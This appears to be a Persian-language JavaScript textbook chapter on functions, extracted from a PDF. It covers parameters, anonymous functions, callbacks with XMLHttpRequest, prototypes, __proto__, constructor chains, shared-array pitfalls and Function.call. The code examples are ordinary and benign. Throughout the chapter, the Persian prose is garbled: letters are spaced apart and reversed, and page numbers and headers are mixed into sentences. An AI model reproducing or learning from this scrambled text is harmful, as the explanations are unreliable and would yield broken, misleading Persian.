و هتفر گ د ا ی ا ر یط ر ش ت ا را ب ع نتشو ن فلت خم رات خ ا س .دی ن ک هد افت سا یطخ نور د طر ش ی س ر ر ب ا ی if , switch اب طر ش ی س ر ر ب یاه ر یغتم ز ا هد افت سا عف ا ن م و یلا مت ح ا ی اها طخ ز ا و ه دش ا ن شآ scope و هدو د ح م م و ه فم اب .دیشاب علط م هدو د ح م نور د .دیه د هئا ر ا نآ ز ا ی لاثم و دیه د حر ش ا ر اهه قل ح ز ا هد افت سا د ر ا وم دی نا وتب .دیشاب هتش اد ا ر do-while و for، while هقل ح ز ا هد افت سا اب ی ی اهدک ه کت نت شو ن یی ا نا وت ر د اه ر یغتم هب یبایت سد ه و حن و ه دش هجوتم ا ر اه ر یغتم و ع ب ا وت هدو د ح م هب ط وب ر م ثح ب .دیشاب هت خ ومآ ا ر وت ر د وت یاه هدو د ح م .دی ن ک ک ر د var اب ا ر نآ ی در کراک توافت و ه دش ا ن شآ let یدی ل ک ه مل ک اب 61 مو س شخ ب ","","مر ا هچ شخب اهنآ ین و ر د ر اتخاس و ع باوت ∞ :شخب فادها ا هن آ هد ودحم و ع ب اوت اب ییانشآ ر ی غتم ن اون ع هب ا هن آ ز ا هد افتس ا و م ان یب ع ب اوت یف رعم callback و رتم ار ا پ ناون ع هب ع ب اوت ز ا هد افتس ا ا هن آ درک ر اک و ع ب اوت prototype کرد تپیرکس ا واج رد تث ار و درک ر اک هو حن اب ییانشآ prototype ب یاعم و ای از م کرد ","[ ) Functions ( عباوت یرایبآ ن یا و د ر اد ی رایبآ هب زای ن راب 3 زور ر ه هک د یا هدر ک یر ا د یرخ ص ا خ ه ایگ کی دی ن ک ضرف تی ا هن ر د و ب آ هب حلا م ا یرسکی ن در ک ه ف اض ا ،ب آ ر یش ز ا ی رایبآ ص و ص خم فر ظ ن در ک رپ ل ماش دیشاب هتش ا د ن ا ر نآ هب یگدی س ر ه ل صوح و ت قو نم د نن ام م ه ا م ش ر گ ا ،تسا ن ا د ل گ یا پ ب آ نتخ ی ر تخ ا س رکف ه ب تسا نکم م ، )د ر اد قرف ام تایحور ه ن اف س اتم یلو ت سه ل آ ه د یا تع ی ب ط و ل گ هت ب ل ا( د روم حلا م ا ن از یم و یرایبآ تا عفد دا د عت تف ا ی ر د اب هک دیشاب د نم شوه یرایبآ ی ار ب ه ا گتسد کی .ده د م ا جنا ب یت رت ه ب ا ر یرایبآ ی ار ب رظن د روم د نی آ رف ص خ ش م یاه ت عا س ر د راک د و خ تروص هب ،زای ن و دشاب م ز لا ی رایبآ زور ر د راب 4 ، زور ر د راب 3 ی اج هب دشاب م ز لا تدم کی ز ا د ع ب تسا نکم م یتح :ل ماش فلت خم یاهد نی آ رف تسا نکم م یتح دشابیم م ی ظنت ل باق یگ د ا س ه ب ام رظن د روم ه ا گتسد یرتک چوک و رتهد ا س ی اه ه ا گتسد … و ن ا د ل گ هب بآ ن در ک ه ف اض ا ،حلا م ا ن در ک ه ف اض ا ،ب آ نت فر گ .د ن ه دی م م ا جنا ا ر یرایبآ د نی آ رف یاه عو مج م تروص هب هک د ن شاب هب ص خ ش م هفیظو کی ه ک ی نع م ن یا ه ب ، د وشیم لم ع هبا ش م تروص هب زی ن ی س ی و نه ما نر ب ر د م ی ظنت ل باق و ازج م تروص هب ما دک ر ه و ه دش هتس ک ش د ن ر اد د د ج م هد افت سا ت ی ل باق هک یتا عط ق ت ی ل باق اب رتک چوک یاه حطس ر د ه ما نر ب و د وشیم ی ر یگو ل ج اهدک ر ارکت ز ا راک ن یا اب ،د ن وشیم ار ج ا .د وشیم ار ج ا رتهد ا س تیری دم ا ر نآ م ا ن قیر ط ز ا ن ا وتیم و هد وب م ا ن یا ر اد ه ک د وشیم هتفگ دک ز ا یش خب هب ع بات ،ی ل ک روط هب :دی ن ی ب ب ا ر ری ز ل اثم .دش د ن ه ا و خ ار ج ا ینا و خارف راب ر ه ر د ، نآ ک و ل ب لخاد ی اهدک و در ک ی نا و خارف function showUserAge () { console .log(userAge); } var userAge = 28 ; showUserAge (); // “28” userAge = userAge * 365 ; // age in days showUserAge (); // “10220” ن ا و ن ع هب ا ر یر ا د ق م ا ی و د نن ک تف ا ی ر د یدو رو ن ا و ن ع هب ا ر ی ی اه رت م ا را پ د ننا وتیم زای ن تروص ر د ع ب ا وت .تسا ی رایت خا ع ب ا وت ز ا ی جو رخ ند نادر گزاب ا ی یدو رو یاه رت م ا را پ تف ا ی ر د . د ننادر گزاب یجو رخ 64 اهن آ ین ورد ر اتخا س و عب او ت ","function showUserAge (age) { console .log(age); } function formatUserAge () { return userAge + “ days” ; } var userAge = 28 ; showUserAge (userAge); // “28” userAge = formatUserAge (); console .log( userAge ); // “10220 days” .د ن کیم تف ا ی ر د یدو رو ن ا و ن ع هب ا ر age م ا ن ه ب رت م ا را پ کی showUserAge ع بات ق و ف ل اثم ر د هد افت سا نا ک م ا ً ا مل سم .د نادر گیمزاب یجو رخ ن ا و ن ع هب ا ر یر ا د ق م formatUserAge ع بات نی نچم ه .تسا ری ذ پ نا ک م ا ع بات کی ر د د روم و د ر ه ز ا ینا و خارف راب ن ی د ن چ تسا ر ار ق هک د نر یگیم ر ار ق هد افت سا د روم ی ی اهدک ه عط ق ی ار ب بلغا ع ب ا وت ،ع ب ا وت رگید دیفم و رث وم یاه در براک ه لم ج ز ا .تس اهدک ر ارکت ز ا یر یگو ل ج ف ده اب ن یا و د ن وش ا هنت تسا نکم م هک د ن چ ر ه ،د نت سه م ه هب هتسب او ه ک تسا یی اهدک ه عط ق مظن م یه د نامزا س :د ن وش ی نا و خارف را بکی const MONEY_PROFIT = 0.20 ; /** * To calculate profit added to money at bank */ function calculateProfit ( money ) { // calculate the new money amount with the profit money = money + (money * MONEY_PROFIT); // return the new amount return money; } var newMoney = calculateProfit (20000000); console .log(newMoney); // 24000000 ز ا هد افت سا ام ا تسا ه دش ی نا و خارف را بکی ا هنت calculateProfit ع بات هک د ن چ ر ه ق و ف ل اثم ر د 65 مراه چ شخ ب ","یاهدک ل ماش ع بات هک یتروص ر د .تسا ه دش اهدک رتش یب ی ی ا نا و خ و رته ب یهد ن امزا س ث عاب نآ .د وب ده ا و خ ص خ ش م ح وضو هب نآ ز ا هد افت سا عف ا ن م دشاب ی رتش یب [ ) Anonymous ( س انشان عباوت ت پ یرکساو اج ر د ع ب ا وت هب ط وب ر م یو حن رات خ ا س و م و ه فم اب باتک ز ا ش خب ن یا ه ب ات لا ا مت ح ا ع ب ا وت م و ه فم اب ا ر ا م ش م یه ا و خی م نو ن ک ا . د یاهدر ب تذل نآ ی ی ا بی ز و یگ د ا س ز ا و د یا ه دش ا ن شآ !ر یغتم ب لاق ر د ع ب ا وت ی ر یگرا ک ب ی ار ب ا بی ز و ش خب تذل یگژ یو کی ،م ی ن ک ا ن شآ س ا ن شا ن :دی ن ک هجوت ری ز ل اثم هب var foo = function () { console.log(‘foo called!‘); }; foo(); var x = function bar (){ //.. }; شیار ب ً ا د م ع هک ا ر مود ع بات و هداد تب س ن foo ر یغتم هب ا ر لوا ع بات ، میاهدر ک فیرعت ع بات و د ا جنیا ر د هب یلو تسا س ا ن شا ن اح لاط ص ا ع بات د و خ ه ک د وشیم ه دها ش م و x ر یغتم هب میاهت ش ا ذگ زی ن مسا .د وشیم م ا جنا ر یغتم ی نا و خارف اب نآ ز ا هد افت سا و تسا ه دش هداد ص ا صتخا ه دش ر ک ذ ی اه ر یغتم یا ر اد ع ب ا وت زی ن ا ضع ب و د ر ا د ن ع ب ا وت ی د اع فیرعت اب ی د ا ی ز ی ل ی خ توافت ، ع ب ا وت فیرعت ز ا کبس نیا .تسا جیا ر رایسب زی ن س ا ن شا ن ع ب ا وت فیرعت ی لو ،د ن وشیم هداد ح یج رت دارفا یخر ب طس وت م ا ن رگی د یعبات ه ب ع بات نداد س اپ نکم م هت ب ل ا ،م یه د م ا جنا رگید یع بات لخاد ر د ،ا ر ع بات کی یار ج ا می ر اد زای ن ع ق ا وم ز ا یخر ب ر د .م ی ن کیم ار ج ا رظن د روم ع بات ر د ید اع تروص هب هتشو ن ا ر لوا ع بات هک د ر ا د ن یلکش م دی ی و گ ب تسا ام و ت سی ن م ا جنا ل باق ، ه دش هتشو ن لب ق ز ا یع بات ی نا و خارف اب هک تس یرگید زای ن ز ا تبح ص ام ا :ل اثم . م یه د س ا پ یدو رو ن ا و ن ع هب ا ر د و خ ها وخل د ع بات ه ن دب ، ع بات کی لخاد ر د م یه ا و خی م 66 اهن آ ین ورد ر اتخا س و عب او ت ","function showMessage ( info ){ console .log(info); } function createUserObject ( id ){ var obj = { id: id, name: “unknown” }; showMessage(obj); } // if we want get user info and show it createUserObject( 12 ); // {id: 12 , name: “unknown”} یل ص ا درکلم ع ز ا ، createUserObject ع بات ،هک تسا نیا د ر اد د وجو ل اثم ن یا ر د ه ک ی اهتکن و ده دی م م ا جنا ا ر شی ا من و تخ ا س تای لم ع و تسا ه دش رو د ر براک تاع لا ط ا تخ ا س ینعی ، نآ تخ ا س لاو ر ت س ی ابیم ،دشاب هتش اد ر براک تاع لا ط ا تخ ا س ه ب زای ن م ه دک ز ا یرگید ش خب ر گ ا .د ن کیم ضقن ا ر ع ب ا وت ت یهام ق افت ا نیا و ، د ن ک یزا س هد ای پ اد د ج م ا ر تاع لا ط ا ن ا وتیم ا ر ق و ف دک ل اثم ی ار ب ،دشابیم ع ب ا وت ن داد س ا پ ز ا هد افت سا ،د وشیم د ا هنش ی پ ه ک ی ل ح ها ر :د و من ار ج ا ری ز لک ش هب function showMessage ( info ){ console .log(info); } function createUserObject ( id , objectManager ){ var obj = { id: id, name: “unknown” }; objectManager(obj); } // if we want get user info and show it createUserObject( 12 , showMessage); // -> user info 67 مراه چ شخ ب ","ه د ه ع ر ب ا ر ر براک object د ا جیا ه رو ظن م کت و ص ا خ ه فیظو createUserObject ع بات ب یت رت نیا ه ب نیا اموزل هت ب ل ا .در ک یه د ر ا د ق م ی ع بات ر ه هب ا ر مود رت م ا را پ ن ا وتیم فلت خم یاه د و صق م ی ار ب و د ر اد .ت شو ن تسا و خ ر د هظح ل نا م ه ر د ا ر ع بات ن ا وتیم و د وشی من م ا جنا ر یغتم قیر ط ز ا ی ه د ر ا د ق م :ل اثم ی ار ب createUserObject( 12 , function ( obj ){ console .log(obj); }); یازج م ندش فیرعت ه ب یزای ن ه ک توافت ن یا اب ، د ر اد ا ر ی لب ق ل اثم درکلم ع نا م ه ا ق یق د ز ی ن ق و ف دک ن ا و ن ع هب createUserObject دتم ی نا و خارف هظح ل نا م ه ر د ع بات و ت سی ن showMessage ع بات هداد س ا پ ع بات ار ج ا م ا گن ه ر د createUserObject ع بات م ی نادی م نوچ . د وشیم هداد س ا پ رت م ا را پ obj رت م ا را پ م ی نا وتیم زی ن ش خب ن یا ر د سپ ، د ن کیم ی نا و خارف یدو رو ن ا و ن ع هب obj ر ا د ق م اب ا ر ه دش ر د ا ق یق د نآ ه ن دب و ع بات نی م ه نوچ ( .م ی ن ک هد افت سا نآ ز ا و هت شو ن ه دش هداد س ا پ ع بات ی دو رو ر د ا ر ). دش ده ا و خ هد ز ا دص createUserObject لخاد حرط م رو رس ز ا ر براک تاع لا ط ا تف ا ی ر د تای لم ع ، ر براک object د ا جیا تای لم ع یاج هب دی ن ک ضرف ل اح ر گ ا ، دشابیم ی ن آ ر ی غ و ر ب نامز یتای لم ع رو رس ز ا ر براک تاع لا ط ا تف ا ی ر د م ی نادی م نوچ ، د وب ه دش راچا ن ه ب ]یلعف شناد اب [ ،م ی ن ک ار ج ا رو رس ه ب تسا و خ ر د م ا متا ز ا سپ ا ر ی ع بات م یشاب هتش اد زای ن هب تسا و خ ر د هج یت ن م ا متا ز ا سپ و م یه د س ا پ رظن د روم دتم هب ع بات کی شو ر نی م ه اب می رو بج م :ل اثم ی ار ب .م ی ن ک ار ج ا ا ر ه دش هداد س ا پ ع بات ،رو رس function getUserInfo ( id , callback ){ var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function () { if ( this .readyState == 4 && this .status == 200 ) { callback(xhttp.responseText); } }; xhttp.open( “GET” , “/path” , true ); xhttp.send(); } getUserInfo( 12 , function ( res ){ console .log(res); }); 68 اهن آ ین ورد ر اتخا س و عب او ت ","ه د ید ا ن دی نا وتیم ا ر ajax تروص هب تسا و خ ر د م ا جنا و د ا جیا ه ب ط وب ر م یاه ش خب ق و ف ل اثم ر د هتفگ callback ،ع ب ا وت ه ن وگ ن یا ه ب .دیهدب ه دش هداد س ا پ ع بات هب ا ر د و خ ه جوت و زک رمت . د یر ی گ ب نامز ر د و دو ریم راک هب ی لعف ع بات لخاد ر د ک یما نیاد تروص هب ع بات کی م ا جنا یار ب هک د وشیم ،د وش هداد تش گ ر ب زی ن یی ات ید دشاب م ز لا ر گ ا و د وش ی نا و خارف رظن د روم ع بات ، می ر اد زای ن ه ک ص خ ش م .ددر گ هد افت سا ه دش ه ئا ر ا ع بات لخاد رگید تمس ر د ات د وشیم هداد س ا پ callback ع بات نا م ه هب ا ن شآ اهنآ اب رتش یب ید ع ب یاه ش خب ر د ه ک دشابیم ت لاکش م ی رس کی یا ر اد ز ی ن callback هتب ل ا .می وشیم [ عباوت prototype ع بات هب prototype م ا ن ه ب یگژ یو کی ت پ یرکساو اج روتوم ، د وشیم هت خ ا س یع بات هک ی ن امز ،د نت سه prototype یا ر اد یتاذ تروص هب ع ب ا وت ه م ه ب یت رت نی دب . تسا object هک د ن کیم ه ف اض ا .د ن ر ا د ن prototype و د ناه دش ه ئا ر ا ES6 ر د ه ک arrow ع ب ا وت زج هب var test = function (a){ }; console.log(test) :د وشیم پ اچ ری ز یجو رخ نآ م ا ن ینا و خارف اب و هدر ک فیرعت ل وس ن ک ر د test م ا ن ه ب ع بات کی test() arguments: null caller: null length: 1 name: “test” prototype: Object { constructor: function test() } :د ن کیم نایب ا ر ت پ یرکساو اج ع ب ا وت ص و صخ ر د مه م هت کن د ن چ ق و ف ی جو رخ هب هک تسا caller م ا ن ه ب یگژ یو کی و arguments م ا ن ه ب یگژ یو کی یا ر اد یت پ یرکساو اج ع بات .ده دی م شی ا من ا ر ع بات ندش هد ز ا دص لح م و ع بات هب ه دش هداد س ا پ ی اهناموگرآ ب یت رت و د ن کیم یر ا د هگن ا ر ع بات ی دو رو یاهناموگرآ دا د عت ه ک دشابیم length یگژ یو کی یا ر اد ع بات ر ه .د ن کیم یر ا د هگن ا ر ع بات ن ا و ن ع هک ، name م ا ن ه ب ی رگید ی گژ یو 69 مراه چ شخ ب ","م ا ن ه ب یگژ یو کی یا ر اد ه ک تسا ع بات ی ار ب object کی ، دش هتفگ هک رو طن ا م ه prototype د روم ر د .دشابیم ع بات ز ا هن و من تخ ا س یار ب constructor د نن ا م ه یتپ یرکساو اج ع ب ا وت ز ا هد افت سا اب ن ا وتیم هک می وشیم هجوتم ، ق و ف تا ح یضوت هب هجوت اب هتفگ اهدک ز ا یاه عو مج م هب ، ) class (سلا ک . در ک د ا جیا د ی دج object کی ،رگید ی اهنابز ر د سلا ک .در یگیم ر ار ق هد افت سا د روم نی ع م یاهیگژ یو و دتم ی رس کی ز ا ءایش ا تخ ا س یار ب هک د وشیم :د یر ی گ ب رظن ر د ا ر ری ز دک ه کت ل اثم ی ار ب var House = function (){ } // instance of House var myHouse = new House(); یور ر ب new یدی ل ک ه مل ک ع ق او ر د ، دش ده ا و خ ار ج ا ه ما نر ب ی ی ا طخ چ یه نودب ، ق و ف دک ی ار ج ا اب یار ب ن ا وتیم .د ن کیم د ا جیا ) class (ع بات نآ ز ا د ی دج object کی و د ر اد ل ا م ع ا ت ی ل باق ی ع بات ر ه تخ ا س یار ب م ز لا هشقن ا ر prototype هک ی اهن وگ هب ، داد هئا ر ا هن ا خ کی د روم ر د ی لاثم prototype .م ی ن ک د ا جیا نآ س ا سار ب ا ر می زاسب م یه ا و خی م هک ی اهن ا خ و هتفر گ رظن ر د هن ا خ یگژ یو ، نآ ز ا object کی د ا جیا و ع بات ندش new اب هک می ر اد ع بات کی هن ا خ یار ب ق و ف دک قب ط هتخ ا س object .د وشیم هد افت سا نآ ز ا د ی دج object تخ ا س یار ب و ه دش یپک ع بات prototype دشابیم ی ل ص ا ع بات prototype نا م ه ا ق یق د ه ک دشابیم __ proto __ یگژ یو یا ر اد د ی دج ه دش .تسا ه دش هت خ ا س نآ ز ا ه ک ز ا نآ یا ج ب و تسا ندش 1 deprecate ل اح ر د ه ک م ی ی و گ ب م ه ا ر هت کن نیا __proto__ د روم ر د .دش ده ا و خ هد افت سا د وجوم prototype نا م ه :در ک ه ئا ر ا ی لاثم ن ا وتیم ری ز لک ش هب myHouse د روم ر د ،ل اثم ی ار ب .د نی وگیم ندش depracte نا ک م ا ا ی ی گژ یو کی ندش ف ذح ا ی و یضقن م د نی آ رف ه ب 1 70 اهن آ ین ورد ر اتخا س و عب او ت ","console .log(myHouse.__proto__); /* { constructor: House() arguments: null caller: null length: 0 name: “House” prototype: Object {... } } */ console.log(House.prototype); /* { constructor: House() arguments: null caller: null length: 0 name: “House” prototype: Object {... } } */ __proto __ و prototype ن د وب ناس کی ه ب ن ا وتیم ه دش هت خ ا س object و یل ص ا ع بات هس ی ا ق م اب :در ب ی پ ه دش هت خ ا س هن و من console .log(House.prototype === myHouse.__proto__); // true و در یگیم ر ار ق ت پ یرکساو اج یاه object م ا مت یو ر ر ب ضرف ش ی پ تروص هب 2 __proto __ یگژ یو فورع م 3 تثا رو م و ه فم هب هک دشابیم دل او ن یلو ا ات شی ا م ی پ ل باق ید ن ز رف و ی رد پ هط ب ا ر تروص هب .تسا هد افت سا رگید ی اهه ن و من دیلوت ی ار ب )ه د ن زا س دتم ی نع م هب ( constructor یگژ یو ،ع ب ا وت یور ر ب ت پ یرکساو اج ر د ن در ک یپک ن یا . د ن کیم یپک د ی دج ه ن و من یار ب ا ر د وجوم prototype و د وشیم یرس کی اب ،د ی دج ه ن و من د ا جیا یلا اب ت ع رس ن ی نچم ه و object تخ ا س ر د ی گ د ا س ث عاب م ا مت یو ر ر ب ع بات prototype یور ر ب د وجوم constructor .د وشیم ص ا خ ی دی ل ک یاهیگژ یو .د وشیم ه د نا و خ dunder proto تروص هب 2 3 inheritance 71 مراه چ شخ ب ",".تسا ه دش هتش ا ذگ کارت ش ا ه ب constructor ز ا هد افت سا اب ، ه دش د ا جیا ءایش ا هن ا خ ر ه ت حاسم ت ش ا د هگن یار ب area م ا ن ه ب یگژ یو کی ،هن ا خ ل اثم د روم ر د دی ن ک ضرف ل اثم ی ار ب :م ی ن ک د ا جیا فلت خم ژارت م اب ه ن ا خ هن و من ود و میرب ب راک هب var House = function ( area ){ this .area = area; } // instance of House var myHouse = new House(60); var hisHouse = new House(85); ز ا یش خب کی ر د .م ی ن کیم د ا جیا یرت م 85 و 60 ت حاسم یگژ یو اب ،ه ن ا خ هن و من ود ب یت رت نیا ه ب ینا و خارف اب م ی نا وتب هک دشاب هتش اد د وجو اهه ن ا خ یو ر ر ب یدتم ت س ی ابیم می وشیم هجوتم هما نر ب House ع بات prototype یور ر ب م ی نا وتیم هد ا س رایسب ، م ی ن ک ه بس ا ح م ا ر رظن د روم ه ن ا خ تم یق نآ سرتسد ل باق نآ ز ا ه دش هت خ ا س ءایش ا م ا مت یو ر ر ب دتم ن یا و م ی ن ک یزا س هد ای پ دتم کی یل ص ا :د وب ده ا و خ var House = function ( area ){ this .area = area; } // instance of House var myHouse = new House( 60 ); var hisHouse = new House( 85 ); House.prototype.calcPrice = function (){ return this .area * 14509000 ; } myHouse.calcPrice(); // 870540000 hisHouse.calcPrice(); // 1233265000 ز ا سپ ن ا وتیم یتح و د ر اد یب ی ج ع درکیو ر ءایش ا د روم ر د ت پ یرکساو اج هک م ی ن کیم ه دها ش م ر ب ا ر یدتم ا ی ی گژ یو یل ص ا ع بات prototype یور ر ب ع بات کی ل ا م ع ا اب زی ن object ندش هت خ ا س 72 اهن آ ین ورد ر اتخا س و عب او ت ",".تخ ا س م ه ارف ه دش هت خ ا س object یور ه دش هت خ ا س ءایش ا م ا مت نتف ا ی ر ییغت ل یلدب هک تسا نیا prototype د رومر د مه م ی ل ی خ هتکن یاه هداد ع و ن و ت پ یرکساو اج یمو م ع ءایش ا ه اگ چ یه دی ن ک ی عس ،یل ص ا object یرا کتسد اب یرا کتسد اب د نا وتیم ،اه String م ا مت یو ر ر ب دتم کی د ا جیا ل اثم ی ار ب .دی نکن ی را کتسد ا ر فلت خم هما نر ب ر د ه ک ی رگید دک اب تسا نکم م هک ار چ ، تسا ه ا بت ش ا شو ر ن یا ام ا ،د وش ققح م prototype .د وش ا طخ د ا جیا ث عاب و دشاب ض قا نت م تسا ه دش هت فر گ راک هب [ ی داع و prototype ی ور ی اه دت م ت وا فت ش ی پ نات یار ب لا و س نیا لا ا مت ح ا ،یل ص ا ع بات prototype هب دتم ن دوزفا نا ک م ا ه ب هجوت اب ،م ی ن ک ه ف اض ا ا ر calcPrice دتم House رظن د روم ع بات یور ر ب م یتس نا وتیم یتح ا ر هب ام :هک د ی ایب ؟ در ک ه ف اض ا prototype یور د ی اب ار چ ، م یس ی و ن ب ری ز لک ش هب یدک و var House = function ( area ){ this .area = area; } House.calcPrice = function (){ return this .area * 14509000 ; } شد و خ قیر ط ز ا ا هنت ،م ی ن کیم فیرعت ع بات object د و خ یو ر ر ب ا ر یدتم یتقو هک تسا نیا خس ا پ هب دتم کی ن در ک ه ف اض ا اب ،دش هداد ح یضوت هک رو طن ا م ه ه ک یلاحر د ،د وب ده ا و خ سرتسد ل باق .ت ش اد یسرتسد رظن د روم دتم هب زی ن نآ ه دش هت خ ا س ءایش ا م ا مت ر د ن ا وتیم ع بات prototype یور ر ب ی ن امز ام . د ر اد ا ر د و خ ص ا خ ی اه در براک زی ن ع بات د و خ یو ر ر ب دتم ن دوزفا ه ک د وش هجوت هت ب ل ا د روم دتم ا ی ی گژ یو ز ا ه عو مج م ری ز ءایش ا ر د م یه ا وخب هک م ی ن کیم ه ف اض ا ی گژ یو ا ی دتم prototype .م ی ن ک هد افت سا رظن prototype یور ر ب دتم نتشو ن و د ع ب دک ه کت لک ش هب دک نتشو ن ه و حن ن یب یتوافت چ یه ل اثم ی ار ب .د ر ا د ن د وجو 73 مراه چ شخ ب ","var House = function ( area ){ this .area = area; this .calcPrice = function (){ return this .area * 14509000 ; } } ر د د روم ن یا هتب ل ا ، د ن کیم ت شا گن ع بات prototype یور ر ب زی ن this یدی ل ک ه مل ک تق ی ق ح ر د .تفر گ ده ا و خ ر ار ق ی س ر ر ب د روم رتش یب هم ادا ر د ه ک د وشیم م ا جنا constructor [ هدن زاس عباوت ه ر یجن ز هب و در ک د ا جیا object تی ا هن ی ب ن ا وتیم ع بات constructor و prototype یر ی جن ز ی نا و خارف اب ل باق تی ا هنی ب ات ی اهقل ح تروص هب constructor و prototype شرت سگ هر ی جن ز ل یل د ن ی م ه .دشابیم ط سب هب نآ prototype ینا و خارف ا ی ،ع بات د و خ یو ر ر ب constructor ینا و خارف ،ق و ف لک ش هب هجوت اب 74 اهن آ ین ورد ر اتخا س و عب او ت ",":دش ده ا و خ ار ج ا ا طخ نودب ری ز ل اثم . تسا م ا جنا ل باق راب تی ا هنی ب ات و ی ر ی جن ز لک ش /* Chain1 */ House.constructor.constructor.constructor ; /* Chain2 */ House.prototype.constructor.prototype.constructor ; prototype و constructor هریجن ز تو افت ع بات د و خ ه ب ر ارکت راب ر ه ر د و د نن کیم ا دی پ ه م ادا ا طخ نودب و د نت سه ط سب ل باق هر ی جن ز و د ر ه هب House ع بات د و خ یو ر ر ب constructor ینا و خارف ن یلو ا اب لوا هر ی جن ز ر د .م ی س ریم ی ل ص ا نیا تثا رو ه دعاق قب ط ، می دی س ر ی ل ص ا تخ ا سری ز هب نوچ و م ی س ریم Object ینعی ، نآ ه د ن زا س نوچ مود هر ی جن ز ر د ام ا ، د ن کیم ه راش ا object نا م ه هب راب ر ه ر د و د وب ده ا و خ ط سب ل باق هر ی جن ز ع بات نا م ه ، prototype ه د ن زا س دتم و م ی ن زیم ا دص ا ر ه د ن زا س دتم ، ع بات prototype یور ر ب راب ر ه .م ی س ریم ی ل ص ا ع بات هب د د ج م ،ندش هد ز ا دص ر ه ز ا سپ ،تسا یل ص ا د رو خر ب ه و حن و ل ح ار م و دشابیم ع وضوم ن یا ی ا ی وگ لا ماک ، لب ق ه ح فص ه دش ه ئا ر ا ری و صت تق ی ق ح ر د .تسا هداد حر ش ت ح ار ص هب ا ر ءایش ا اب [ prototype تلا ک ش م ز ا هد افت سا م ا گن ه ر د لئ اسم ی رس کی ه ب دی ن ک راک اه prototype اب ی م ک ر گ ا تسا نکم م سلا ک دی ن ک ضرف ، اهه ن ا خ یار ب ه دش ر ک ذ ل اثم د روم ر د ل اثم ی ار ب ،دی ن ک د رو خر ب ه دش هت خ ا س ی ایش ا ،د ر اد هن ا خ ر ه هک یصا خ تا ن ا ک م ا ی ر ا د هگن یار ب هک دشاب features م ا ن ه ب یگژ یو کی یا ر اد هن ا خ :دشاب ری ز لک ش هب ام سلا ک یح ار ط ر گ ا ل اح . در یگیم ر ار ق هد افت سا د روم var House = function ( area ){ this .area = area; } House.prototype.calcPrice = function (){ return this .area * 14509000 ; } House.prototype.features = [ “pool” , “roof garden” ]; 75 مراه چ شخ ب ","ر د ه ک ده دی م تب س ن features هیا رآ هب ا ر ص ا خ ی اهیگژ یو یر س کی ضرف ش ی پ تروص هب سلا ک م ی ن ک د ا جیا سلا ک ن یا ز ا هن و من ود ر گ ا . دشاب هد افت سا و یسرتسد ل باق زی ن ه دش هت خ ا س ءایش ا م ا مت :ده دی م خ ر ی ب ی ج ع ه ج یت ن ،م ی ن ک ه ف اض ا رگید feature کی اهنآ ز ا یکی ه ب و // instance of House var myHouse = new House( 60 ); var hisHouse = new House( 85 ); // add new feature to one myHouse.features.push( “parket” ); myHouse.features; // [“pool” , “roof garden” , “parket”] // read features on another one hisHouse.features; // [“pool” , “roof garden” , “parket”] ?! // remove feature of another one hisHouse.features.splice( 1 ); hisHouse.features; // [“roof garden” , “parket”] myHouse.features; // [“roof garden” , “parket”] ?! طقف ام ه ک یلاح ر د ، د ناه دش parket ن ا و ن ع اب feature s یا ر اد object ود ر ه هک م ی ن کیم ه دها ش م ؟ تس ا ج ک ز ا لکش م دی نز ب س دح دی نا وتیم . میدر ک ه ف اض ا ا ر یگژ یو نیا myHouse هب سلا ک ی نعی ،یل ص ا سنرف ر features یگژ یو ز ا object ود ر ه کرتش م هد افت سا ل یل د ه ب لکش م ن یا ا ی ند نا و خ یار ب یت سا و خ ر د ، object ر ه یور ر ب هک ی ن امز ت پ یرکساو اج ر د . ده دی م خ ر House یور ر ب یت سا و خ ر د دتم ا ی ی گژ یو ل ا بند ه ب ت پ یرکساو اج روتوم ، د وشیم ه ئا ر ا دتم ا ی ی گژ یو نت شو ن نآ ل ا بند ه ب دل او نا م ه هب dunder proto 4 ر د ، نآ ند شن تف ا ی تروص ر د و ددر گیم ی لعف object .د ن کیم ا دی پ ه م ادا د سر ب یلا خ دل او ه ب هک ی ن امز ات ن یا م ا جنا و ددر گیم هب ا ر نآ ، constructor ر د features یگژ یو ن در ک فیرعت ی اج هب ام نوچ ،زی ن ش خب ن یا ر د یل ص ا سنرف ر ز ا ،د و خ صت خم features نتش اد ی اج هب object ر ه ! میاهداد هئا ر ا prototype :د وشیم ح ی حصت ری ز لک ش هب ق و ف دک سپ . ده دی م ر ار ق هد افت سا د روم ا ر features 4 __proto__ 76 اهن آ ین ورد ر اتخا س و عب او ت ","var House = function ( area ){ this .area = area; this .features = [ “pool” , “roof garden” ]; } House.prototype.calcPrice = function (){ return this .area * 14509000 ; } // instance of House var houseA = new House( 60 ); var houseB = new House( 85 ); houseB.features.push( “parket” ); houseA.features; // [“pool” , “roof garden”] houseB.features; // [“pool” , “roof garden” , “parket”] ؟ در ک هد افت سا constructor ز ا ین امز هچ و prototype ز ا د ی اب ی ن امز هچ .دی ن ک لا و س تسا نکم م ا ی ع بات هک ی ن امز ، د ر اد دتم ا ی ی گژ یو ع و ن ه ب ی گت سب و داد ن ا وتی من یعط ق رظن ه ک تسا نیا خس ا پ تروص هب ، ه دش هت خ ا س object ر ه ر د نآ ندش یپک یاج هب ، د وش فیرعت prototype ر د ی گژ یو ر ار ق constructor ر د رظن د روم یگژ یو ا ی دتم ر گ ا ه کیلاح ر د ،در یگیم ر ار ق هد افت سا د روم یس نرف ر .د وشیم ه ف اض ا ه د ن زا س ز ا ی پک کی ز ی ن شد و خ ی اهیگژ یو ر د ه دش هت خ ا س object ر ه ی ا ز ا ه ب ، در یگ ر ب هولا ع constructor ا ی prototype ر د رظن د روم یاهیگژ یو و اهدتم ی ر یگر ار ق ح ی ح ص باخت نا و ح ی ح ص ی ار ج ا ر د ،ه ما نر ب ی فرص م ه ظف اح ن از یم ندش رتم ک و د ی دج object د ا جیا ت ع رس د و به ب .د وب ده ا و خ ر ا ذگ ر ی ث ات زی ن مت سی س گ اب نودب [ call ز ا ه دا فت س ا ا ب عباوت یا رج ا ز ا هد افت سا اب ن ا وتیم ،ی د اع ندش ی نا و خارف تروص هب ع ب ا وت ی ار ج ا ر ب هولا ع ، ت پ یرکساو اج ر د :ل اثم ی ار ب ، تخ ا س ققح م ا ر ع بات ی ار ج ا و ینا و خارف ،تسا سرتسد ل باق ع ب ا وت یور ر ب هک call ع بات 77 مراه چ شخ ب ","function showUserAge ( userAge ) { console .log(userAge); } showUserAge.call( this , 26 ); نیی عت یار ب ( رظن د روم object لوا یدو رو ن ا و ن ع هب call ع بات ،د نت سه یرایت خا call ع بات یاهی دو رو ص خ ش م scope کی ر د ع بات ا جنیا 